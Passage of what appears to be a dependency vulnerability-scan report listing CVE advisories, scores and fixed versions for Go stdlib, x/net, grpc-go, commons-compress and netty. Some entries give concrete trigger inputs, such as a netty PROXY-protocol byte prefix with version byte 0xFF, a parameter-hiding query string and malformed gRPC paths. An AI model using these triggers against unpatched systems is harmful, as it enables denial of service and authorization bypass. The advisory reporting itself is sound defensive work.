0.613% EPSS Percentile 46th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.626% EPSS Percentile 46th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.361% EPSS Percentile 29th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.384% EPSS Percentile 31st percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.939% EPSS Percentile 57th percentile Description (*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates. Affected range <1.24.12 Fixed version 1.24.12 EPSS Score 0.643% EPSS Percentile 47th percentile Description archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.274% EPSS Percentile 20th percentile Description An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com. Affected range >=1.24.0 <1.24.6 Fixed version 1.24.6 EPSS Score 0.489% EPSS Percentile 39th percentile Description If the PATH environment variable contains paths which are executables (rather than just directories), passing certain strings to LookPath ("", ".", and ".."), can result in the binaries listed in the PATH being unexpectedly returned. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.292% EPSS Percentile 21st percentile Description On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.371% EPSS Percentile 30th percentile Description If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.314% EPSS Percentile 24th percentile Description CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.290% EPSS Percentile 21st percentile Description Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied. These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.328% EPSS Percentile 25th percentile Description Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh". A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.290% EPSS Percentile 21st percentile Description tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format. Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.370% EPSS Percentile 30th percentile Description When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.390% EPSS Percentile 32nd percentile Description ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function. Affected range <1.24.12 Fixed version 1.24.12 EPSS Score 0.276% EPSS Percentile 20th percentile Description During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.526% EPSS Percentile 41st percentile Description The Reader.ReadResponse function constructs a response string through repeated string concatenation of lines. When the number of lines in a response is large, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.443% EPSS Percentile 36th percentile Description When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.534% EPSS Percentile 42nd percentile Description Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.526% EPSS Percentile 41st percentile Description Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.443% EPSS Percentile 36th percentile Description The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.419% EPSS Percentile 34th percentile Description tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.201% EPSS Percentile 10th percentile Description On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened. The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root. Affected range <1.25.12 Fixed version 1.25.12 EPSS Score 0.413% EPSS Percentile 34th percentile Description Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello. Affected range <1.25.12 Fixed version 1.25.12 EPSS Score 0.183% EPSS Percentile 8th percentile Description On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

golang.org/x/net 0.39.0 (golang) pkg:golang/golang.org/x/net@0.39.0 Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.478% EPSS Percentile 38th percentile Description The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com". Affected range <0.53.0 Fixed version 0.53.0 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0. Uncontrolled Resource Consumption Affected range <0.55.0 Fixed version 0.55.0 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.248% EPSS Percentile 16th percentile Description In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.188% EPSS Percentile 9th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.45.0 Fixed version 0.45.0 EPSS Score 0.482% EPSS Percentile 39th percentile Description The html.Parse function in golang.org/x/net/html has an infinite parsing loop when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content. Affected range <0.45.0 Fixed version 0.45.0 EPSS Score 0.502% EPSS Percentile 40th percentile Description The html.Parse function in golang.org/x/net/html has quadratic parsing complexity when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content. Affected range <0.56.0 Fixed version 0.56.0 EPSS Score 0.155% EPSS Percentile 5th percentile Description Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

golang.org/x/net 0.49.0 (golang) pkg:golang/golang.org/x/net@0.49.0 Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.478% EPSS Percentile 38th percentile Description The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com". Affected range <0.53.0 Fixed version 0.53.0 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0. Uncontrolled Resource Consumption Affected range <0.55.0 Fixed version 0.55.0 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.248% EPSS Percentile 16th percentile Description In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.188% EPSS Percentile 9th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.56.0 Fixed version 0.56.0 EPSS Score 0.155% EPSS Percentile 5th percentile Description Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

google.golang.org/grpc 1.78.0 (golang) pkg:golang/google.golang.org/grpc@1.78.0 Improper Authorization Affected range <1.79.3 Fixed version 1.79.3 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 1.557% EPSS Percentile 73rd percentile Description Impact What kind of vulnerability is it? Who is impacted? It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header. The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present. Who is impacted? This affects gRPC-Go servers that meet both of the following criteria: They use path-based authorization interceptors, such as the official RBAC implementation in google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx). Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule). The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server. Patches Has the problem been patched? What versions should users upgrade to? Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string. Users should upgrade to the following versions (or newer): v1.79.3 The latest master branch. It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods: 1. Use a Validating Interceptor (Recommended Mitigation) Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs: func pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { if info.FullMethod == "" || info.FullMethod[0] != '/' { return nil, status.Errorf(codes.Unimplemented, "malformed method name") } return handler(ctx, req) } // Ensure this is the FIRST interceptor in your chain s := grpc.NewServer( grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor), ) 2. Infrastructure-Level Normalization If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash. 3. Policy Hardening Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs. Uncaught Exception Affected range <1.82.1 Fixed version 1.82.1 CVSS Score 8.8 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N Description Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in: Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing Metadata or RequestedServerName fields. Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets. Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing NOT rules around unsupported fields. Impact What kind of vulnerability is it? Who is impacted? xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers Affected Component: xDS RBAC Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops. If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions. If these unsupported rules were nested inside logical NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine. As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources. HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts Affected Component: HTTP/2 transport Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as SETTINGS ACKs or server-initiated RST_STREAMs. When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS). Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules Affected Component: xDS RBAC Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request. An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service). Patches Has the problem been patched? What versions should users upgrade to? All three issues have been fixed in master and will be released in 1.82.1 shortly. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture: For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers. For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection. Severity Vulnerability Qualitative Severity Approximate CVSS v3.1 Score Primary Impact xDS RBAC Authorization Bypass High 8.2 Unauthorized Access / Fail-Open HTTP/2 Rapid Reset DOS Bypass High 7.5 High CPU Consumption / Denial of Service xDS RBAC Engine Server Panic Medium 5.9 Process Crash / Denial of Service

stdlib 1.25.7 (golang) pkg:golang/stdlib@1.25.7 Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.560% EPSS Percentile 43rd percentile Description Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.798% EPSS Percentile 53rd percentile Description Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.588% EPSS Percentile 45th percentile Description The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0). Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.784% EPSS Percentile 52nd percentile Description Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.813% EPSS Percentile 53rd percentile Description When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.621% EPSS Percentile 46th percentile Description If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.349% EPSS Percentile 27th percentile Description Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.615% EPSS Percentile 46th percentile Description During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.728% EPSS Percentile 50th percentile Description url.Parse insufficiently validated the host/authority component and accepted some invalid URLs. Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.939% EPSS Percentile 57th percentile Description (*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.292% EPSS Percentile 21st percentile Description On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.371% EPSS Percentile 30th percentile Description If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.314% EPSS Percentile 24th percentile Description CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.290% EPSS Percentile 21st percentile Description Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied. These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.328% EPSS Percentile 25th percentile Description Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh". A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.290% EPSS Percentile 21st percentile Description tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format. Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.370% EPSS Percentile 30th percentile Description When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.390% EPSS Percentile 32nd percentile Description ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.201% EPSS Percentile 10th percentile Description On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened. The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root. Affected range <1.25.12 Fixed version 1.25.12 EPSS Score 0.413% EPSS Percentile 34th percentile Description Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello. Affected range <1.25.12 Fixed version 1.25.12 EPSS Score 0.183% EPSS Percentile 8th percentile Description On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

org.apache.commons/commons-compress 1.5 (maven) pkg:maven/org.apache.commons/commons-compress@1.5 Improper Handling of Length Parameter Inconsistency Affected range <1.21 Fixed version 1.21 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 12.945% EPSS Percentile 96th percentile Description When reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package. Improper Handling of Length Parameter Inconsistency Affected range <1.21 Fixed version 1.21 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 10.614% EPSS Percentile 95th percentile Description When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package. Improper Handling of Length Parameter Inconsistency Affected range <1.21 Fixed version 1.21 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 12.365% EPSS Percentile 96th percentile Description When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package. Excessive Iteration Affected range <1.21 Fixed version 1.21 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 11.567% EPSS Percentile 96th percentile Description When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package. Loop with Unreachable Exit Condition ('Infinite Loop') Affected range >=1.3 <1.26.0 Fixed version 1.26.0 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H EPSS Score 0.441% EPSS Percentile 36th percentile Description Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. Users are recommended to upgrade to version 1.26.0 which fixes the issue.

io.netty/netty-codec-haproxy 4.2.7.Final (maven) pkg:maven/io.netty/netty-codec-haproxy@4.2.7.Final Uncontrolled Resource Consumption Affected range >=4.2.0.Final <=4.2.15.Final Fixed version 4.2.16.Final CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.524% EPSS Percentile 41st percentile Description The HAProxyMessageDecoder in netty's codec-haproxy module performs protocol version detection by reading the 13th byte of the inbound stream as a signed Java byte and widening it to int without masking. When an attacker sends a PROXY protocol v2 binary prefix (0D 0A 0D 0A 00 0D 0A 51 55 49 54 0A) followed by version byte 0xFF, the sign extension produces -1, which collides with the decoder's "need more data" sentinel value. This collision traps the decoder in a version-detection loop where it perpetually requests more data without consuming any bytes, never instantiates the HeaderExtractor that enforces header size limits, and causes ByteToMessageDecoder to accumulate all subsequent inbound bytes into an unbounded cumulation buffer until the JVM exhausts its direct memory allocation. Improper Validation of Syntactic Correctness of Input Affected range >=4.2.0.Final <=4.2.14.Final Fixed version 4.2.15.Final CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.630% EPSS Percentile 46th percentile Description Impact The HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested PP2_TYPE_SSL TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the HAProxyMessage normally. Yet the underlying cumulation buffer (a pooled, potentially direct ByteBuf allocated by the channel) remains permanently pinned. Improper Check or Handling of Exceptional Conditions Affected range >=4.2.0.Final <=4.2.14.Final Fixed version 4.2.15.Final CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.617% EPSS Percentile 46th percentile Description When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls header.retainedSlice(header.readerIndex(), length) and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released. Improper Neutralization of CRLF Sequences ('CRLF Injection') Affected range >=4.2.0.Final <4.2.16.Final Fixed version 4.2.16.Final CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Description Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty 1. Vulnerability Summary Field Value Product Netty Version 4.2.12.Final (and all prior versions with codec-haproxy) Component io.netty.handler.codec.haproxy.HAProxyMessageEncoder Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences Impact HAProxy PROXY Protocol Injection / Client IP Spoofing CVSS 3.1 Score 7.5 (High) CVSS 3.1 Vector 